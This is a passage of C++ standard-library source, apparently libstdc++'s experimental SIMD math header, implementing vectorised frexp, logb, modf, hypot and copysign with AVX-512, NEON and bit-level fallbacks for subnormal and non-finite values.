      return _mm512_getmant_pd(__x, _MM_MANT_NORM_p5_1, _MM_MANT_SIGN_src);
    else
      __assert_unreachable&lt;_Tp&gt;();
  }
#endif // _GLIBCXX_SIMD_X86INTRIN

/**
 * splits @p __v into exponent and mantissa, the sign is kept with the mantissa
 *
 * The return value will be in the range [0.5, 1.0[
 * The @p __e value will be an integer defining the power-of-two exponent
 */
template &lt;typename _Tp, typename _Abi, typename = __detail::__odr_helper&gt;
  enable_if_t&lt;is_floating_point_v&lt;_Tp&gt;, simd&lt;_Tp, _Abi&gt;&gt;
  frexp(const simd&lt;_Tp, _Abi&gt;&amp; __x, _Samesize&lt;int, simd&lt;_Tp, _Abi&gt;&gt;* __exp)
  {
    if constexpr (simd_size_v&lt;_Tp, _Abi&gt; == 1)
      {
	int __tmp;
	const auto __r = std::frexp(__x[0], &amp;__tmp);
	(*__exp)[0] = __tmp;
	return __r;
      }
    else if constexpr (__is_fixed_size_abi_v&lt;_Abi&gt;)
      return {__private_init, _Abi::_SimdImpl::_S_frexp(__data(__x), __data(*__exp))};
#if _GLIBCXX_SIMD_X86INTRIN
    else if constexpr (__have_avx512f)
      {
	constexpr size_t _Np = simd_size_v&lt;_Tp, _Abi&gt;;
	constexpr size_t _NI = _Np &lt; 4 ? 4 : _Np;
	const auto __v = __data(__x);
	const auto __isnonzero
	  = _Abi::_SimdImpl::_S_isnonzerovalue_mask(__v._M_data);
	const _SimdWrapper&lt;int, _NI&gt; __exp_plus1
	  = 1 + __convert&lt;_SimdWrapper&lt;int, _NI&gt;&gt;(__getexp(__v))._M_data;
	const _SimdWrapper&lt;int, _Np&gt; __e = __wrapper_bitcast&lt;int, _Np&gt;(
	  _Abi::_CommonImpl::_S_blend(_SimdWrapper&lt;bool, _NI&gt;(__isnonzero),
				      _SimdWrapper&lt;int, _NI&gt;(), __exp_plus1));
	simd_abi::deduce_t&lt;int, _Np&gt;::_CommonImpl::_S_store(__e, __exp);
	return {__private_init,
		_Abi::_CommonImpl::_S_blend(_SimdWrapper&lt;bool, _Np&gt;(
					      __isnonzero),
					    __v, __getmant_avx512(__v))};
      }
#endif // _GLIBCXX_SIMD_X86INTRIN
    else
      {
	// fallback implementation
	static_assert(sizeof(_Tp) == 4 || sizeof(_Tp) == 8);
	using _V = simd&lt;_Tp, _Abi&gt;;
	using _IV = rebind_simd_t&lt;int, _V&gt;;
	using namespace std::experimental::__proposed;
	using namespace std::experimental::__float_bitwise_operators;

	constexpr int __exp_adjust = sizeof(_Tp) == 4 ? 0x7e : 0x3fe;
	constexpr int __exp_offset = sizeof(_Tp) == 4 ? 0x70 : 0x200;
	constexpr _Tp __subnorm_scale = sizeof(_Tp) == 4 ? 0x1p112 : 0x1p512;
	_GLIBCXX_SIMD_USE_CONSTEXPR_API _V __exponent_mask
	  = __infinity_v&lt;_Tp&gt;; // 0x7f800000 or 0x7ff0000000000000
	_GLIBCXX_SIMD_USE_CONSTEXPR_API _V __p5_1_exponent
	  = -(2 - __epsilon_v&lt;_Tp&gt;) / 2; // 0xbf7fffff or 0xbfefffffffffffff

	_V __mant = __p5_1_exponent &amp; (__exponent_mask | __x); // +/-[.5, 1)
	const _IV __exponent_bits = __extract_exponent_as_int(__x);
	if (_GLIBCXX_SIMD_IS_LIKELY(all_of(isnormal(__x))))
	  {
	    *__exp
	      = simd_cast&lt;_Samesize&lt;int, _V&gt;&gt;(__exponent_bits - __exp_adjust);
	    return __mant;
	  }

#if __FINITE_MATH_ONLY__
	// at least one element of __x is 0 or subnormal, the rest is normal
	// (inf and NaN are excluded by -ffinite-math-only)
	const auto __iszero_inf_nan = __x == 0;
#else
	using _Ip = __int_for_sizeof_t&lt;_Tp&gt;;
	const auto __as_int = simd_bit_cast&lt;rebind_simd_t&lt;_Ip, _V&gt;&gt;(abs(__x));
	const auto __inf = simd_bit_cast&lt;rebind_simd_t&lt;_Ip, _V&gt;&gt;(_V(__infinity_v&lt;_Tp&gt;));
	const auto __iszero_inf_nan = static_simd_cast&lt;typename _V::mask_type&gt;(
	  __as_int == 0 || __as_int &gt;= __inf);
#endif

	const _V __scaled_subnormal = __x * __subnorm_scale;
	const _V __mant_subnormal
	  = __p5_1_exponent &amp; (__exponent_mask | __scaled_subnormal);
	where(!isnormal(__x), __mant) = __mant_subnormal;
	where(__iszero_inf_nan, __mant) = __x;
	_IV __e = __extract_exponent_as_int(__scaled_subnormal);
	using _MaskType =
	  typename conditional_t&lt;sizeof(typename _V::value_type) == sizeof(int),
				 _V, _IV&gt;::mask_type;
	const _MaskType __value_isnormal = isnormal(__x).__cvt();
	where(__value_isnormal.__cvt(), __e) = __exponent_bits;
	static_assert(sizeof(_IV) == sizeof(__value_isnormal));
	const _IV __offset
	  = (simd_bit_cast&lt;_IV&gt;(__value_isnormal) &amp; _IV(__exp_adjust))
	      | (simd_bit_cast&lt;_IV&gt;(static_simd_cast&lt;_MaskType&gt;(__exponent_bits == 0)
				      &amp; static_simd_cast&lt;_MaskType&gt;(__x != 0))
		   &amp; _IV(__exp_adjust + __exp_offset));
	*__exp = simd_cast&lt;_Samesize&lt;int, _V&gt;&gt;(__e - __offset);
	return __mant;
      }
  }

// }}}
_GLIBCXX_SIMD_MATH_CALL2_(ldexp, int)
_GLIBCXX_SIMD_MATH_CALL_(ilogb)

// logarithms {{{
_GLIBCXX_SIMD_MATH_CALL_(log)
_GLIBCXX_SIMD_MATH_CALL_(log10)
_GLIBCXX_SIMD_MATH_CALL_(log1p)
_GLIBCXX_SIMD_MATH_CALL_(log2)

//}}}
// logb{{{
template &lt;typename _Tp, typename _Abi, typename = __detail::__odr_helper&gt;
  enable_if_t&lt;is_floating_point&lt;_Tp&gt;::value, simd&lt;_Tp, _Abi&gt;&gt;
  logb(const simd&lt;_Tp, _Abi&gt;&amp; __x)
  {
    constexpr size_t _Np = simd_size_v&lt;_Tp, _Abi&gt;;
    if constexpr (_Np == 1)
      return std::logb(__x[0]);
    else if constexpr (__is_fixed_size_abi_v&lt;_Abi&gt;)
      return {__private_init, _Abi::_SimdImpl::_S_logb(__data(__x))};
#if _GLIBCXX_SIMD_X86INTRIN // {{{
    else if constexpr (__have_avx512vl &amp;&amp; __is_sse_ps&lt;_Tp, _Np&gt;())
      return {__private_init,
	      __auto_bitcast(_mm_getexp_ps(__to_intrin(__as_vector(__x))))};
    else if constexpr (__have_avx512vl &amp;&amp; __is_sse_pd&lt;_Tp, _Np&gt;())
      return {__private_init, _mm_getexp_pd(__data(__x))};
    else if constexpr (__have_avx512vl &amp;&amp; __is_avx_ps&lt;_Tp, _Np&gt;())
      return {__private_init, _mm256_getexp_ps(__data(__x))};
    else if constexpr (__have_avx512vl &amp;&amp; __is_avx_pd&lt;_Tp, _Np&gt;())
      return {__private_init, _mm256_getexp_pd(__data(__x))};
    else if constexpr (__have_avx512f &amp;&amp; __is_avx_ps&lt;_Tp, _Np&gt;())
      return {__private_init,
	      __lo256(_mm512_getexp_ps(__auto_bitcast(__data(__x))))};
    else if constexpr (__have_avx512f &amp;&amp; __is_avx_pd&lt;_Tp, _Np&gt;())
      return {__private_init,
	      __lo256(_mm512_getexp_pd(__auto_bitcast(__data(__x))))};
    else if constexpr (__is_avx512_ps&lt;_Tp, _Np&gt;())
      return {__private_init, _mm512_getexp_ps(__data(__x))};
    else if constexpr (__is_avx512_pd&lt;_Tp, _Np&gt;())
      return {__private_init, _mm512_getexp_pd(__data(__x))};
#endif // _GLIBCXX_SIMD_X86INTRIN }}}
    else
      {
	using _V = simd&lt;_Tp, _Abi&gt;;
	using namespace std::experimental::__proposed;
	auto __is_normal = isnormal(__x);

	// work on abs(__x) to reflect the return value on Linux for negative
	// inputs (domain-error =&gt; implementation-defined value is returned)
	const _V abs_x = abs(__x);

	// __exponent(__x) returns the exponent value (bias removed) as
	// simd&lt;_Up&gt; with integral _Up
	auto&amp;&amp; __exponent = [](const _V&amp; __v) _GLIBCXX_SIMD_ALWAYS_INLINE_LAMBDA {
	  using namespace std::experimental::__proposed;
	  using _IV = rebind_simd_t&lt;
	    conditional_t&lt;sizeof(_Tp) == sizeof(_LLong), _LLong, int&gt;, _V&gt;;
	  return (simd_bit_cast&lt;_IV&gt;(__v) &gt;&gt; (__digits_v&lt;_Tp&gt; - 1))
		 - (__max_exponent_v&lt;_Tp&gt; - 1);
	};
	_V __r = static_simd_cast&lt;_V&gt;(__exponent(abs_x));
	if (_GLIBCXX_SIMD_IS_LIKELY(all_of(__is_normal)))
	  // without corner cases (nan, inf, subnormal, zero) we have our
	  // answer:
	  return __r;
	const auto __is_zero = __x == 0;
	const auto __is_nan = isnan(__x);
	const auto __is_inf = isinf(__x);
	where(__is_zero, __r) = -__infinity_v&lt;_Tp&gt;;
	where(__is_nan, __r) = __x;
	where(__is_inf, __r) = __infinity_v&lt;_Tp&gt;;
	__is_normal |= __is_zero || __is_nan || __is_inf;
	if (all_of(__is_normal))
	  // at this point everything but subnormals is handled
	  return __r;
	// subnormals repeat the exponent extraction after multiplication of the
	// input with __a floating point value that has 112 (0x70) in its exponent
	// (not too big for sp and large enough for dp)
	const _V __scaled = abs_x * _Tp(0x1p112);
	_V __scaled_exp = static_simd_cast&lt;_V&gt;(__exponent(__scaled) - 112);
	where(__is_normal, __scaled_exp) = __r;
	return __scaled_exp;
      }
  }

//}}}
template &lt;typename _Tp, typename _Abi, typename = __detail::__odr_helper&gt;
  enable_if_t&lt;is_floating_point_v&lt;_Tp&gt;, simd&lt;_Tp, _Abi&gt;&gt;
  modf(const simd&lt;_Tp, _Abi&gt;&amp; __x, simd&lt;_Tp, _Abi&gt;* __iptr)
  {
    if constexpr (simd_size_v&lt;_Tp, _Abi&gt; == 1)
      {
	_Tp __tmp;
	_Tp __r = std::modf(__x[0], &amp;__tmp);
	__iptr[0] = __tmp;
	return __r;
      }
    else
      {
	const auto __integral = trunc(__x);
	*__iptr = __integral;
	auto __r = __x - __integral;
#if !__FINITE_MATH_ONLY__
	where(isinf(__x), __r) = _Tp();
#endif
	return copysign(__r, __x);
      }
  }

_GLIBCXX_SIMD_MATH_CALL2_(scalbn, int)
_GLIBCXX_SIMD_MATH_CALL2_(scalbln, long)

_GLIBCXX_SIMD_MATH_CALL_(cbrt)

_GLIBCXX_SIMD_MATH_CALL_(abs)
_GLIBCXX_SIMD_MATH_CALL_(fabs)

// [parallel.simd.math] only asks for is_floating_point_v&lt;_Tp&gt; and forgot to
// allow signed integral _Tp
template &lt;typename _Tp, typename _Abi&gt;
  _GLIBCXX_SIMD_ALWAYS_INLINE
  enable_if_t&lt;!is_floating_point_v&lt;_Tp&gt; &amp;&amp; is_signed_v&lt;_Tp&gt;, simd&lt;_Tp, _Abi&gt;&gt;
  abs(const simd&lt;_Tp, _Abi&gt;&amp; __x)
  { return {__private_init, _Abi::_SimdImpl::_S_abs(__data(__x))}; }

#define _GLIBCXX_SIMD_CVTING2(_NAME)                                           \
template &lt;typename _Tp, typename _Abi&gt;                                         \
  _GLIBCXX_SIMD_INTRINSIC simd&lt;_Tp, _Abi&gt; _NAME(                               \
    const simd&lt;_Tp, _Abi&gt;&amp; __x, const __type_identity_t&lt;simd&lt;_Tp, _Abi&gt;&gt;&amp; __y) \
  {                                                                            \
    return _NAME(__x, __y);                                                    \
  }                                                                            \
                                                                               \
template &lt;typename _Tp, typename _Abi&gt;                                         \
  _GLIBCXX_SIMD_INTRINSIC simd&lt;_Tp, _Abi&gt; _NAME(                               \
    const __type_identity_t&lt;simd&lt;_Tp, _Abi&gt;&gt;&amp; __x, const simd&lt;_Tp, _Abi&gt;&amp; __y) \
  {                                                                            \
    return _NAME(__x, __y);                                                    \
  }

#define _GLIBCXX_SIMD_CVTING3(_NAME)                                           \
template &lt;typename _Tp, typename _Abi&gt;                                         \
  _GLIBCXX_SIMD_INTRINSIC simd&lt;_Tp, _Abi&gt; _NAME(                               \
    const __type_identity_t&lt;simd&lt;_Tp, _Abi&gt;&gt;&amp; __x, const simd&lt;_Tp, _Abi&gt;&amp; __y, \
    const simd&lt;_Tp, _Abi&gt;&amp; __z)                                                \
  {                                                                            \
    return _NAME(__x, __y, __z);                                               \
  }                                                                            \
                                                                               \
template &lt;typename _Tp, typename _Abi&gt;                                         \
  _GLIBCXX_SIMD_INTRINSIC simd&lt;_Tp, _Abi&gt; _NAME(                               \
    const simd&lt;_Tp, _Abi&gt;&amp; __x, const __type_identity_t&lt;simd&lt;_Tp, _Abi&gt;&gt;&amp; __y, \
    const simd&lt;_Tp, _Abi&gt;&amp; __z)                                                \
  {                                                                            \
    return _NAME(__x, __y, __z);                                               \
  }                                                                            \
                                                                               \
template &lt;typename _Tp, typename _Abi&gt;                                         \
  _GLIBCXX_SIMD_INTRINSIC simd&lt;_Tp, _Abi&gt; _NAME(                               \
    const simd&lt;_Tp, _Abi&gt;&amp; __x, const simd&lt;_Tp, _Abi&gt;&amp; __y,                    \
    const __type_identity_t&lt;simd&lt;_Tp, _Abi&gt;&gt;&amp; __z)                             \
  {                                                                            \
    return _NAME(__x, __y, __z);                                               \
  }                                                                            \
                                                                               \
template &lt;typename _Tp, typename _Abi&gt;                                         \
  _GLIBCXX_SIMD_INTRINSIC simd&lt;_Tp, _Abi&gt; _NAME(                               \
    const simd&lt;_Tp, _Abi&gt;&amp; __x, const __type_identity_t&lt;simd&lt;_Tp, _Abi&gt;&gt;&amp; __y, \
    const __type_identity_t&lt;simd&lt;_Tp, _Abi&gt;&gt;&amp; __z)                             \
  {                                                                            \
    return _NAME(__x, __y, __z);                                               \
  }                                                                            \
                                                                               \
template &lt;typename _Tp, typename _Abi&gt;                                         \
  _GLIBCXX_SIMD_INTRINSIC simd&lt;_Tp, _Abi&gt; _NAME(                               \
    const __type_identity_t&lt;simd&lt;_Tp, _Abi&gt;&gt;&amp; __x, const simd&lt;_Tp, _Abi&gt;&amp; __y, \
    const __type_identity_t&lt;simd&lt;_Tp, _Abi&gt;&gt;&amp; __z)                             \
  {                                                                            \
    return _NAME(__x, __y, __z);                                               \
  }                                                                            \
                                                                               \
template &lt;typename _Tp, typename _Abi&gt;                                         \
  _GLIBCXX_SIMD_INTRINSIC simd&lt;_Tp, _Abi&gt; _NAME(                               \
    const __type_identity_t&lt;simd&lt;_Tp, _Abi&gt;&gt;&amp; __x,                             \
    const __type_identity_t&lt;simd&lt;_Tp, _Abi&gt;&gt;&amp; __y, const simd&lt;_Tp, _Abi&gt;&amp; __z) \
  {                                                                            \
    return _NAME(__x, __y, __z);                                               \
  }

template &lt;typename _R, typename _ToApply, typename _Tp, typename... _Tps&gt;
  _GLIBCXX_SIMD_INTRINSIC _R
  __fixed_size_apply(_ToApply&amp;&amp; __apply, const _Tp&amp; __arg0,
		     const _Tps&amp;... __args)
  {
    return {__private_init,
	    __data(__arg0)._M_apply_per_chunk(
	      [&amp;](auto __impl, const auto&amp;... __inner) _GLIBCXX_SIMD_ALWAYS_INLINE_LAMBDA {
		using _V = typename decltype(__impl)::simd_type;
		return __data(__apply(_V(__private_init, __inner)...));
	      },
	      __data(__args)...)};
  }

template &lt;typename _VV, typename = __detail::__odr_helper&gt;
  __remove_cvref_t&lt;_VV&gt;
  __hypot(_VV __x, _VV __y)
  {
    using _V = __remove_cvref_t&lt;_VV&gt;;
    using _Tp = typename _V::value_type;
    if constexpr (_V::size() == 1)
      return std::hypot(_Tp(__x[0]), _Tp(__y[0]));
    else if constexpr (__is_fixed_size_abi_v&lt;typename _V::abi_type&gt;)
      {
	return __fixed_size_apply&lt;_V&gt;([](auto __a,
					 auto __b) { return hypot(__a, __b); },
				      __x, __y);
      }
    else
      {
	// A simple solution for _Tp == float would be to cast to double and
	// simply calculate sqrt(x+y) as it can't over-/underflow anymore with
	// dp. It still needs the Annex F fixups though and isn't faster on
	// Skylake-AVX512 (not even for SSE and AVX vectors, and really bad for
	// AVX-512).
	using namespace __float_bitwise_operators;
	using namespace __proposed;
	_V __absx = abs(__x);          // no error
	_V __absy = abs(__y);          // no error
	_V __hi = max(__absx, __absy); // no error
	_V __lo = min(__absy, __absx); // no error

	// round __hi down to the next power-of-2:
	_GLIBCXX_SIMD_USE_CONSTEXPR_API _V __inf(__infinity_v&lt;_Tp&gt;);

#ifndef __FAST_MATH__
	if constexpr (__have_neon &amp;&amp; !__have_neon_a32)
	  { // With ARMv7 NEON, we have no subnormals and must use slightly
	    // different strategy
	    const _V __hi_exp = __hi &amp; __inf;
	    _V __scale_back = __hi_exp;
	    // For large exponents (max &amp; max/2) the inversion comes too close
	    // to subnormals. Subtract 3 from the exponent:
	    where(__hi_exp &gt; 1, __scale_back) = __hi_exp * _Tp(0.125);
	    // Invert and adjust for the off-by-one error of inversion via xor:
	    const _V __scale = (__scale_back ^ __inf) * _Tp(.5);
	    const _V __h1 = __hi * __scale;
	    const _V __l1 = __lo * __scale;
	    _V __r = __scale_back * sqrt(__h1 * __h1 + __l1 * __l1);
	    // Fix up hypot(0, 0) to not be NaN:
	    where(__hi == 0, __r) = 0;
	    return __r;
	  }
#endif

#ifdef __FAST_MATH__
	// With fast-math, ignore precision of subnormals and inputs from
	// __finite_max_v/2 to __finite_max_v. This removes all
	// branching/masking.
	if constexpr (true)
#else
	if (_GLIBCXX_SIMD_IS_LIKELY(all_of(isnormal(__x))
				    &amp;&amp; all_of(isnormal(__y))))
#endif
	  {
	    const _V __hi_exp = __hi &amp; __inf;
	    //((__hi + __hi) &amp; __inf) ^ __inf almost works for computing
	    //__scale,
	    // except when (__hi + __hi) &amp; __inf == __inf, in which case __scale
	    // becomes 0 (should be min/2 instead) and thus loses the
	    // information from __lo.
#ifdef __FAST_MATH__
	    using _Ip = __int_for_sizeof_t&lt;_Tp&gt;;
	    using _IV = rebind_simd_t&lt;_Ip, _V&gt;;
	    const auto __as_int = simd_bit_cast&lt;_IV&gt;(__hi_exp);
	    const _V __scale
	      = simd_bit_cast&lt;_V&gt;(2 * __bit_cast&lt;_Ip&gt;(_Tp(1)) - __as_int);
#else
	    const _V __scale = (__hi_exp ^ __inf) * _Tp(.5);
#endif
	    _GLIBCXX_SIMD_USE_CONSTEXPR_API _V __mant_mask
	      = __norm_min_v&lt;_Tp&gt; - __denorm_min_v&lt;_Tp&gt;;
	    const _V __h1 = (__hi &amp; __mant_mask) | _V(1);
	    const _V __l1 = __lo * __scale;
	    return __hi_exp * sqrt(__h1 * __h1 + __l1 * __l1);
	  }
	else
	  {
	    // slower path to support subnormals
	    // if __hi is subnormal, avoid scaling by inf &amp; final mul by 0
	    // (which yields NaN) by using min()
	    _V __scale = _V(1 / __norm_min_v&lt;_Tp&gt;);
	    // invert exponent w/o error and w/o using the slow divider unit:
	    // xor inverts the exponent but off by 1. Multiplication with .5
	    // adjusts for the discrepancy.
	    where(__hi &gt;= __norm_min_v&lt;_Tp&gt;, __scale)
	      = ((__hi &amp; __inf) ^ __inf) * _Tp(.5);
	    // adjust final exponent for subnormal inputs
	    _V __hi_exp = __norm_min_v&lt;_Tp&gt;;
	    where(__hi &gt;= __norm_min_v&lt;_Tp&gt;, __hi_exp)
	      = __hi &amp; __inf;         // no error
	    _V __h1 = __hi * __scale; // no error
	    _V __l1 = __lo * __scale; // no error

	    // sqrt(x+y) = e*sqrt((x/e)+(y/e)):
	    // this ensures no overflow in the argument to sqrt
	    _V __r = __hi_exp * sqrt(__h1 * __h1 + __l1 * __l1);
#ifdef __STDC_IEC_559__
	    // fixup for Annex F requirements
	    // the naive fixup goes like this:
	    //
	    // where(__l1 == 0, __r)                      = __hi;
	    // where(isunordered(__x, __y), __r)          = __quiet_NaN_v&lt;_Tp&gt;;
	    // where(isinf(__absx) || isinf(__absy), __r) = __inf;
	    //
	    // The fixup can be prepared in parallel with the sqrt, requiring a
	    // single blend step after hi_exp * sqrt, reducing latency and
	    // throughput:
	    _V __fixup = __hi; // __lo == 0
	    where(isunordered(__x, __y), __fixup) = __quiet_NaN_v&lt;_Tp&gt;;
	    where(isinf(__absx) || isinf(__absy), __fixup) = __inf;
	    where(!(__lo == 0 || isunordered(__x, __y)
		    || (isinf(__absx) || isinf(__absy))),
		  __fixup)
	      = __r;
	    __r = __fixup;
#endif
	    return __r;
	  }
      }
  }

template &lt;typename _Tp, typename _Abi&gt;
  _GLIBCXX_SIMD_INTRINSIC simd&lt;_Tp, _Abi&gt;
  hypot(const simd&lt;_Tp, _Abi&gt;&amp; __x, const simd&lt;_Tp, _Abi&gt;&amp; __y)
  {
    return __hypot&lt;conditional_t&lt;__is_fixed_size_abi_v&lt;_Abi&gt;,
				 const simd&lt;_Tp, _Abi&gt;&amp;, simd&lt;_Tp, _Abi&gt;&gt;&gt;(__x,
									   __y);
  }

_GLIBCXX_SIMD_CVTING2(hypot)

  template &lt;typename _VV, typename = __detail::__odr_helper&gt;
  __remove_cvref_t&lt;_VV&gt;
  __hypot(_VV __x, _VV __y, _VV __z)
  {
    using _V = __remove_cvref_t&lt;_VV&gt;;
    using _Abi = typename _V::abi_type;
    using _Tp = typename _V::value_type;
    /* FIXME: enable after PR77776 is resolved
    if constexpr (_V::size() == 1)
      return std::hypot(_Tp(__x[0]), _Tp(__y[0]), _Tp(__z[0]));
    else
    */
    if constexpr (__is_fixed_size_abi_v&lt;_Abi&gt; &amp;&amp; _V::size() &gt; 1)
      {
	return __fixed_size_apply&lt;simd&lt;_Tp, _Abi&gt;&gt;(
		 [](auto __a, auto __b, auto __c) _GLIBCXX_SIMD_ALWAYS_INLINE_LAMBDA {
		   return hypot(__a, __b, __c);
		 }, __x, __y, __z);
      }
    else
      {
	using namespace __float_bitwise_operators;
	using namespace __proposed;
	const _V __absx = abs(__x);                 // no error
	const _V __absy = abs(__y);                 // no error
	const _V __absz = abs(__z);                 // no error
	_V __hi = max(max(__absx, __absy), __absz); // no error
	_V __l0 = min(__absz, max(__absx, __absy)); // no error
	_V __l1 = min(__absy, __absx);              // no error
	if constexpr (__digits_v&lt;_Tp&gt; == 64 &amp;&amp; __max_exponent_v&lt;_Tp&gt; == 0x4000
		      &amp;&amp; __min_exponent_v&lt;_Tp&gt; == -0x3FFD &amp;&amp; _V::size() == 1)
	  { // Seems like x87 fp80, where bit 63 is always 1 unless subnormal or
	    // NaN. In this case the bit-tricks don't work, they require IEC559
	    // binary32 or binary64 format.
#ifdef __STDC_IEC_559__
	    // fixup for Annex F requirements
	    if (isinf(__absx[0]) || isinf(__absy[0]) || isinf(__absz[0]))
	      return __infinity_v&lt;_Tp&gt;;
	    else if (isunordered(__absx[0], __absy[0] + __absz[0]))
	      return __quiet_NaN_v&lt;_Tp&gt;;
	    else if (__l0[0] == 0 &amp;&amp; __l1[0] == 0)
	      return __hi;
#endif
	    _V __hi_exp = __hi;
	    const _ULLong __tmp = 0x8000'0000'0000'0000ull;
	    __builtin_memcpy(&amp;__data(__hi_exp), &amp;__tmp, 8);
	    const _V __scale = 1 / __hi_exp;
	    __hi *= __scale;
	    __l0 *= __scale;
	    __l1 *= __scale;
	    return __hi_exp * sqrt((__l0 * __l0 + __l1 * __l1) + __hi * __hi);
	  }
	else
	  {
	    // round __hi down to the next power-of-2:
	    _GLIBCXX_SIMD_USE_CONSTEXPR_API _V __inf(__infinity_v&lt;_Tp&gt;);

#ifndef __FAST_MATH__
	    if constexpr (_V::size() &gt; 1 &amp;&amp; __have_neon &amp;&amp; !__have_neon_a32)
	      { // With ARMv7 NEON, we have no subnormals and must use slightly
		// different strategy
		const _V __hi_exp = __hi &amp; __inf;
		_V __scale_back = __hi_exp;
		// For large exponents (max &amp; max/2) the inversion comes too
		// close to subnormals. Subtract 3 from the exponent:
		where(__hi_exp &gt; 1, __scale_back) = __hi_exp * _Tp(0.125);
		// Invert and adjust for the off-by-one error of inversion via
		// xor:
		const _V __scale = (__scale_back ^ __inf) * _Tp(.5);
		const _V __h1 = __hi * __scale;
		__l0 *= __scale;
		__l1 *= __scale;
		_V __lo = __l0 * __l0
			  + __l1 * __l1; // add the two smaller values first
		asm(&quot;&quot; : &quot;+m&quot;(__lo));
		_V __r = __scale_back * sqrt(__h1 * __h1 + __lo);
		// Fix up hypot(0, 0, 0) to not be NaN:
		where(__hi == 0, __r) = 0;
		return __r;
	      }
#endif

#ifdef __FAST_MATH__
	    // With fast-math, ignore precision of subnormals and inputs from
	    // __finite_max_v/2 to __finite_max_v. This removes all
	    // branching/masking.
	    if constexpr (true)
#else
	    if (_GLIBCXX_SIMD_IS_LIKELY(all_of(isnormal(__x))
					&amp;&amp; all_of(isnormal(__y))
					&amp;&amp; all_of(isnormal(__z))))
#endif
	      {
		const _V __hi_exp = __hi &amp; __inf;
		//((__hi + __hi) &amp; __inf) ^ __inf almost works for computing
		//__scale, except when (__hi + __hi) &amp; __inf == __inf, in which
		// case __scale
		// becomes 0 (should be min/2 instead) and thus loses the
		// information from __lo.
#ifdef __FAST_MATH__
		using _Ip = __int_for_sizeof_t&lt;_Tp&gt;;
		using _IV = rebind_simd_t&lt;_Ip, _V&gt;;
		const auto __as_int = simd_bit_cast&lt;_IV&gt;(__hi_exp);
		const _V __scale
		  = simd_bit_cast&lt;_V&gt;(2 * __bit_cast&lt;_Ip&gt;(_Tp(1)) - __as_int);
#else
		const _V __scale = (__hi_exp ^ __inf) * _Tp(.5);
#endif
		constexpr _Tp __mant_mask
		  = __norm_min_v&lt;_Tp&gt; - __denorm_min_v&lt;_Tp&gt;;
		const _V __h1 = (__hi &amp; _V(__mant_mask)) | _V(1);
		__l0 *= __scale;
		__l1 *= __scale;
		const _V __lo
		  = __l0 * __l0
		    + __l1 * __l1; // add the two smaller values first
		return __hi_exp * sqrt(__lo + __h1 * __h1);
	      }
	    else
	      {
		// slower path to support subnormals
		// if __hi is subnormal, avoid scaling by inf &amp; final mul by 0
		// (which yields NaN) by using min()
		_V __scale = _V(1 / __norm_min_v&lt;_Tp&gt;);
		// invert exponent w/o error and w/o using the slow divider
		// unit: xor inverts the exponent but off by 1. Multiplication
		// with .5 adjusts for the discrepancy.
		where(__hi &gt;= __norm_min_v&lt;_Tp&gt;, __scale)
		  = ((__hi &amp; __inf) ^ __inf) * _Tp(.5);
		// adjust final exponent for subnormal inputs
		_V __hi_exp = __norm_min_v&lt;_Tp&gt;;
		where(__hi &gt;= __norm_min_v&lt;_Tp&gt;, __hi_exp)
		  = __hi &amp; __inf;         // no error
		_V __h1 = __hi * __scale; // no error
		__l0 *= __scale;          // no error
		__l1 *= __scale;          // no error
		_V __lo = __l0 * __l0
			  + __l1 * __l1; // add the two smaller values first
		_V __r = __hi_exp * sqrt(__lo + __h1 * __h1);
#ifdef __STDC_IEC_559__
		// fixup for Annex F requirements
		_V __fixup = __hi; // __lo == 0
		// where(__lo == 0, __fixup)                   = __hi;
		where(isunordered(__x, __y + __z), __fixup)
		  = __quiet_NaN_v&lt;_Tp&gt;;
		where(isinf(__absx) || isinf(__absy) || isinf(__absz), __fixup)
		  = __inf;
		// Instead of __lo == 0, the following could depend on __h1 ==
		// __h1 + __lo (i.e. __hi is so much larger than the other two
		// inputs that the result is exactly __hi). While this may
		// improve precision, it is likely to reduce efficiency if the
		// ISA has FMAs (because __h1 + __lo is an FMA, but the
		// intermediate
		// __h1 must be kept)
		where(!(__lo == 0 || isunordered(__x, __y + __z)
			|| isinf(__absx) || isinf(__absy) || isinf(__absz)),
		      __fixup)
		  = __r;
		__r = __fixup;
#endif
		return __r;
	      }
	  }
      }
  }

  template &lt;typename _Tp, typename _Abi&gt;
  _GLIBCXX_SIMD_INTRINSIC simd&lt;_Tp, _Abi&gt;
  hypot(const simd&lt;_Tp, _Abi&gt;&amp; __x, const simd&lt;_Tp, _Abi&gt;&amp; __y,
	const simd&lt;_Tp, _Abi&gt;&amp; __z)
  {
    return __hypot&lt;conditional_t&lt;__is_fixed_size_abi_v&lt;_Abi&gt;,
				 const simd&lt;_Tp, _Abi&gt;&amp;, simd&lt;_Tp, _Abi&gt;&gt;&gt;(__x,
									   __y,
									   __z);
  }

_GLIBCXX_SIMD_CVTING3(hypot)

_GLIBCXX_SIMD_MATH_CALL2_(pow, _Tp)

_GLIBCXX_SIMD_MATH_CALL_(sqrt)
_GLIBCXX_SIMD_MATH_CALL_(erf)
_GLIBCXX_SIMD_MATH_CALL_(erfc)
_GLIBCXX_SIMD_MATH_CALL_(lgamma)
_GLIBCXX_SIMD_MATH_CALL_(tgamma)
_GLIBCXX_SIMD_MATH_CALL_(ceil)
_GLIBCXX_SIMD_MATH_CALL_(floor)
_GLIBCXX_SIMD_MATH_CALL_(nearbyint)
_GLIBCXX_SIMD_MATH_CALL_(rint)
_GLIBCXX_SIMD_MATH_CALL_(lrint)
_GLIBCXX_SIMD_MATH_CALL_(llrint)

_GLIBCXX_SIMD_MATH_CALL_(round)
_GLIBCXX_SIMD_MATH_CALL_(lround)
_GLIBCXX_SIMD_MATH_CALL_(llround)

_GLIBCXX_SIMD_MATH_CALL_(trunc)

_GLIBCXX_SIMD_MATH_CALL2_(fmod, _Tp)
_GLIBCXX_SIMD_MATH_CALL2_(remainder, _Tp)
_GLIBCXX_SIMD_MATH_CALL3_(remquo, _Tp, int*)

template &lt;typename _Tp, typename _Abi, typename = __detail::__odr_helper&gt;
  enable_if_t&lt;is_floating_point_v&lt;_Tp&gt;, simd&lt;_Tp, _Abi&gt;&gt;
  copysign(const simd&lt;_Tp, _Abi&gt;&amp; __x, const simd&lt;_Tp, _Abi&gt;&amp; __y)
  {
    if constexpr (simd_size_v&lt;_Tp, _Abi&gt; == 1)
      return std::copysign(__x[0], __y[0]);
    else if constexpr (__is_fixed_size_abi_v&lt;_Abi&gt;)
      return {__private_init, _Abi::_SimdImpl::_S_copysign(__data(__x), __data(__y))};
    else
      {
	using _V = simd&lt;_Tp, _Abi&gt;;
	using namespace std::experimental::__float_bitwise_operators;
